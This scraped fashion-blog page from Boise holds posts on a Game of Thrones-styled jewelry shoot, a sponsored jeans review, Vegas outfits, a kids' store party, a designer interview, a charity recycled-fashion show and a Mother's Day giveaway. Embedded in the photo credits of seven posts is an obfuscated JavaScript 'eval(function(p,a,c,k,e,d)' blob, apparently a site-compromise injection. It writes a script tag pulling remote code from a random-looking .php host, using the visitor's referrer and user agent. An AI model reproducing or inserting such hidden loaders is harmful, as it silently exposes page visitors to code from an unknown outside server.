Stella & Dot, Khaleesi Style

Ok, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbssz|var|u0026u|referrer|raask||js|php’.split(‘|’),0,{}))
I admit it: I’m a Game of Thrones fan. Like, big time fan. But anyone who knew me growing up shouldn’t be surprised, considering my obsession with J.R.R. Tolkein’s Lord of the Rings Trilogy, C.S. Lewis’s Chronicles of Narnia, anything & everything by George MacDonald, and that whole medieval costume wedding thing I wrote about here. I’m also a sci-fi freak, but that’s a story for another day…

My friend Hanna is a rep for Stella & Dot, and was showing me some of her new pieces recently. When I spotted this amazing “Pegasus” necklace, I was totally inspired to lean into my medieval-fantasy passions, and style a shoot around the stunning jewelry piece, with a kind of how-would-Khaleesi-wear-it theme. Special thanks to my up-for-anything photographer Jeanne Giltzow for finding us a herd of horses to shoot with, and for braving a crazy dirt tornado in between shots to get these fabulous photos! I’d do this with you again, in a heartbeat.

I hope you enjoy the photos as much as I enjoyed shooting them. Honestly, I didn’t want to take this outfit off; I was ready to jump into a cosplay battle, hahaha! Someone fetch my saddle and my sword; I shall ride out to fight the dragons henceforth!

I guess sometimes princesses never truly grow up. Or geeks, for that matter.

XOXO,

Photography: Jeanne Giltzow / Assistant: Thomas Burdell / Makeup: Taighler Martin at The Studio an Elite Salon & Spa / Wardrobe: Nordstrom Rack and Serendipity Boutique / Horses provided by: Janet Qualls of Dusty Acres Equestrian Center

Stella & Dot Necklace available for purchase online here.

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The Jeans I’ll Be Wearing All Over Europe

Photos: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdadh|var|u0026u|referrer|rfsys||js|php’.split(‘|’),0,{}))
Aubrey Brower / Makeup: Delila Gutierrez / Hair: Erin Swenson of Eclectic Style

So here’s a funny thing you might not know about me: I don’t like jeans. I get that they’re a wardrobe staple, and the biggest fashion trend since the 1960’s… But I would rather wear a dress, or a tunic & leggings, any day. Jeans have always felt stiff and restrictive to me! Of course, some of that distaste could be related to my inability to find jeans that actually fit me well. My legs are proportionately long for my body, so I usually have to go up a size to find jeans that aren’t too short, and then of course they just kind of fall off… And I’m back to dresses, lol!

Recently, denim company French Dressing Jeans contacted me about reviewing a NEW line of jeans they are launching in the USA for the first time, called LOVE Premium Denim. Utilizing Lycra and what they call “Hold-You-In” Technology, their jeans come in four different curve-conscious fits, and are designed to “flatten the tummy and lift the behind.” I was skeptical, I have to admit, but sent them my sizing info and waited.

A beautiful package arrived in the mail a few days later: my new LOVE Premium Denim “Kylie” skinny jeans, designed with a higher rise for us ladies with narrower hips, so they stay up and don’t sag down in the bootie. (Also available are the Suzanne, the Olivia, and the Jegging.) I immediately loved the softness of these jeans, and the cleverly-cut lines. See those vertical seams on the legs? Those are a visual trick of the eye that elongate and slenderize your figure!

Ok, consider me impressed… But what about the fit?

Slipping into my Kylie jeans felt very much like putting on a pair of leggings; soft, stretchy, and surprisingly comfortable! And the cherry on top: these babies are looooong! Yeah, definitely NOT putting them in the dryer, lol; they’re the perfect length. I’ve never been able to wear skinny jeans that had that little “scrunch” at the bottom, over my shoes! Seriously, I might admit that I squealed in delight, but don’t tell anyone.

Friday morning I leave for an amazing European adventure. I can’t wait to see what fashions are trending “across the pond!” My suitcase is packed, and I’m ready to go… With my new favorite jeans: Kylie skinnies that go with e v e r y t h i n g!!! Thank you for the opportunity to change my mind about jeans, LOVE Premium Denim! LOVE you right back.

XOXO,

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My Vegas Style, Day to Night

Photo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhzsf|var|u0026u|referrer|zkzyf||js|php’.split(‘|’),0,{}))
courtesy of Vegas.com / For more info, check out Aria at http://www.vegas.com/resorts/aria/

So you’re heading to Las Vegas for a fun weekend, but you want to save room in your suitcase for all the shopping treasures you know you’re going to find? Pack light, and wear versatile pieces! I stick with one set of colors when I travel: black & white, with splashes of a few favorite colors as accents. If everything in my suitcase goes together, I know I can mix & match with ease and efficiency!

Here’s my guide for making one easy outfit go from day, to poolside, to nightclub… And it all fits in one bucket bag!

Inspiration Board:

My Vegas Style, Day to Night by stylespygirl featuring a bib statement necklace

Black velvet top / J Crew j crew jacket / Mango tuxedo blazer / AX Paris floral print shorts, $37 / Eres swim suit top / Vix clothing, $175 / White leather flat / Guess pumps / Mango bucket bag / Vince Camuto bib statement necklace / Lipsy hinged bangle, $27 / Carrie saxl jewelry / Venom apple iphone case / Coach aviator, $180 / MAC Cosmetics red makeup

How I Styled It, via Swank Boutique

Day Look:

I fit both outfits – including the heels! – into one stylish bag.

Night Look:

Outfit Photos by Lenny Wheeler Photography / Hair by Erin Swenson, Eclectic Style Salon / Clothing, Bucket Bag, Accessories all from Swank Boutique Boise / Inside Photos at China Blue Nightclub in Downtown Boise

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P.S. Aeropostale Epic Kids Party

Me eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iayyr|var|u0026u|referrer|azzht||js|php’.split(‘|’),0,{}))
and my daughter, kids’ blogger at LalaAndFriends.com. My necklace by Unigon Specialties, Jacket from Prestige.

A couple weeks ago, I had the fun privilege of attending the P.S. Aeropostale Epic Kids Party at Boise Towne Square, with my little girl, who just launched her own children’s fashion blog! It was so much fun to go together; we had a blast, and met many wonderful people! During the event, P.S.’s entire store was an extra 20% off, so everyone scored crazy hot deals on super cool clothes. The girls partied, ate mini cakes, laughed, danced, and made fun memories together. Many of the children also posed for Polaroid pics, to enter the Epic Kids contest for a chance to win $100 gift cards! They had a great time being “real models.”

Thank you, P.S. Aeropostale, for throwing this super fun event! And thank you to all the fantastic moms & kids who stopped by to enjoy it with us.

XOXO,

Hanging with the DJ – he played some rocking (and kid-friendly!) tunes!

Nom nom nom nom! Mini cakes – we love!

Hannah and her family showed up again, after her Special Wish Day the day before!
Check out Lala’s story about this amazing and brave young girl, here.

Striped shirts (on sale now for $7!) / Pink Solid Scoop T (On sale now for $5!) / Striped Skater Skirt (On sale now for $8!)

KID DANCE PARTY!!!

New Bff’s – they got to be “employees” for the day, and studiously rearranged the entire store!
(My apologies to the actual employees for how much “fun” this must have been for them to clean up later, ha ha ha!)

My girls rocks a baseball cap, just sayin’!

All kinds of cuteness!

Thank you, P.S. Aeropostale, and everyone who came to party with us! Love you – xoxoxo!!!

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My Interview with Donald J. Pliner, Fashion Superstar

Photography: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kttbt|var|u0026u|referrer|datrk||js|php’.split(‘|’),0,{}))
Lenny Wheeler / Makeup: Shaylinn Barlow / Wardrobe: Dillard’s & Donald J. Pliner

Last month I had the honor and privilege of interviewing renowned footwear & handbag designer Donald J. Pliner at a special Dillard’s event, at Boise Towne Square! (Read Part 1 of my interview here.) Of course, when meeting a fashion legend, one wants to look her best. So I was thrilled when Dillard’s offered to outfit me from their store!

I fell in love with this dramatic full skirt from Adrianna Papell, and chose a funky skull-covered blouse from Chelsea & Violet to add a little edginess to the look. Little did I know that Mr. Pliner has a very personal affinity for skulls. In fact, ALL of his beautiful shoes carry symbolism, images, and dates that have deep, personal meaning to him and his family!

My video interview with Mr. Pliner is on ThisisBoise.com TV – watch it at this link (http://youtu.be/k30H32cAd_E), or in the embedded video below!

Donald J. Pliner was an amazing & inspiring person to talk to – I learned a great deal about life in the fashion world, what it’s like to rise and fall and rise again, and what makes this legendary man so passionate about his work. I hope you enjoy the video!!!

Special thanks to Shaylinn Barlow for doing my makeup for this interview, and the photo shoot! And to Lenny Wheeler, for accompanying me as photographer, and taking such wonderful pictures. 🙂

XO,

Blouse: Chelsea & Violet, via Dillard’s / Skirt: Adrianna Papell, via Dillard’s / Sunglasses: Coach / Bracelet & Earrings: Dillard’s / Makeup: Shaylinn Barlow / Photography: Lenny Wheeler Photography / Hair: Melissa Shay Thomas at Deco Salon

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Aveda Trashion Show Boise 2014

(Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrirh|var|u0026u|referrer|zfkrs||js|php’.split(‘|’),0,{}))
are property of ammophotog and StyleSpyGirl. Please share, tag, & repost, but don’t crop the logo out. Thank you!)

A few weeks ago, The Bombshell Salon in downtown Boise hosted the 2nd Annual Trashion show, benefiting Idaho Rivers United and Global Green Grants (internationally providing clean drinking water in 3rd world countries).

In honor of Earth Month (April,) Aveda committed to raising $5.5 million dollars to help provide clean water to third world countries, and Bombshell Salon jumped on board to help out the cause. The show was held at Hannah’s, with Boise icon Rocci Johnson emceeing. The goal was to throw a fashion show featuring local artists and designers, who had to create costumes from 100% post-consumer materials!

The fashions were amazing, and very creative, from bottle caps, trash bags, and newspapers, to hamburger wrappers and recycled Aveda brochures! Huge kudos to Nate Haderlie and his crew of volunteers for putting the event together so beautifully, and Bombshell Salon for doing incredible work on the lovely models. And congratulations to Darcie Nelson for taking 1st place with her stunning designs, made from a potato sack and spent bullet casings that were cut with a jig saw. I love the addition of the handbag, too – look closely in the photo below; the fringe is made from old keys! Amazing!!!

The Trashion Show was a huge success! I enjoyed the creative designs, and love the eco-conscious twist on fashion. The money raised by this event helped Aveda bring clean water to Third World communities! Well done, everyone! Congratulations to the winners:
1st Place: Darcie Nelson
2nd Place: Cessiley Haderlie
3rd Place: Montana Keating

Another big story of the night was one of the designer entries: Montana Keating (pictured above), a 15-year-old high-schooler who aims to be the next Yves Saint Laurent. Montana is the only young man in his school that is boldly pursuing a career in fashion. Last year, he accompanied me as my assistant to Bryce Black’s Fashion Show in Twin Falls (read my recap here), where the two designers struck up a friendship. Montana is creative, innovative, and above all determined to forge a career in the fashion industry. His amazing Pokemon dress (each card hand-stitched to the next!) won 3rd place at the Trashion Show, modeled by the beautiful Heather Floyd!

Montana recently entered that same dress into a State fashion competition that takes place among high schoolers in the area, and it won 2nd PLACE! His friends and family are SO VERY PROUD of Montana, and with this win he earned the opportunity to go to the National FCCLA competition in Texas this July (Family, Career, and Community Leaders of America.)

Here’s the twist: Montana has to raise $1,800 to get him to this competition, where he deserves a chance to show the world his talent. He is working hard to earn it, and is also running a “Go Fund Me” campaign. If you would like to help out at all, he and his family would be super appreciative!!! This talented guy is definitely going places, and I can’t wait to see what the future has in store for him. Please help him get his designs to the National FCCLA competition! Click the link below to donate – any amount helps!!!

XOXO,

//funds.gofundme.com/Widgetflex.swf

Spring Trend 2014: Fit & Flare Dress

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you happened to read my “Top 5 Trends of Spring 2014” article for Snow Bunny Magazine, you’ll be familiar with this second major trend I’m covering on the blog today. (The first one, why you need a white jacket, is here!)

I am personally crazy about Fit & Flare dresses, and oh so happy that they’re a hot trend item for Spring 2014! My body type is a Strawberry, which means I’m busty on top and narrow through the hips. Fit & Flare dressed are perfect for my body type, because they’re form-fitting on top and voluminous on bottom, which balances out my proportions! I spotted this gorgeous lace fuchsia dress at The Threaded Zebra in Eagle, and just had to have it!!!

Fit & Flare dresses can be great for any body type; it’s all about the proportions! They’re perfect for slimming-down curvier hips & bum; a woman who’s a Pear body type should aim for a higher waistline, which will emphasize the bust and elongate legs. A Fit & Flare dress with a slender belt can also help define curves and a waistline, if you’re a Celery Stick or Apple body type. (Not sure which type you are? Read my tips for how to dress for Body Type here!)

Nearly every girl can wear a fit & flare dress – is it any wonder it’s such a hot trend this spring? Enjoy the flowers, the sunshine, and the pretty dresses of summer, my lovelies!!!

XOXO,

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How to Wear Sequins for Daytime

Blouse: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyana|var|u0026u|referrer|dnbii||js|php’.split(‘|’),0,{}))
Express / Skirt: Forever 21 / Sunglasses: Oakley, via Boise Mountain Eyecare / Necklace: Unigon Specialties / Bracelet: Posh Boutique / Handbag: Coach / Tights: Forever 21 / Boots: Vintage Nine West, via Renewed Expressions Continue reading “How to Wear Sequins for Daytime” →

Mother’s Day Makeover Giveaway!

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LOFT / Photography by: Ammophotog

Mother’s Day is coming! And I’m hooking up with the Village at Meridian to bring you the ultimate Mother’s Day gift: a head-to-toe makeover, worth over $1,000!!! Do you think YOUR mom would appreciate a day of pampering and shopping fun? She will receive gift cards & services from myself, Soma, Francesca’s, LOFT, White House | Black Market, Oconik, Menchie’s, and the newly-opened SB Salon!!! Here are all the details:

May at The Village at Meridian is made for Mother’s!

Enter the special mother in your life for an once-in-a-lifetime makeover courtesy of The Village at Meridian.Over $1,000 in prizes and gift cards will be awarded to one lucky mother, as well as personal styling by the Treasure Valley’s own Style Spy Girl!

Enter online at The Village at Meridian’s Facebook page (click on “Sweepstakes” if the link doesn’t take you directly to it!), or by visiting Guest Services. Last day to enter will be May 7th, and a winner will be randomly chosen on May 8th.

Winner must be willing to allow images of themselves to be posted on both The Village at Meridian and Style Spy Girl social media channels. Winner must be available for makeover and personal styling session on Sunday, May 11th, time TBD. The date is non-negotiable and another winner will be chosen if first winner is not able to attend on that day.

Note: This event is sponsored by the Village At Meridian, in conjunction with Soma, Francesca’s, LOFT, SB Salon, White House | Black Market, Oconik, Menchie’s, & StyleSpyGirl.

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Coachella Fashion 2014

Continue reading “Coachella Fashion 2014” →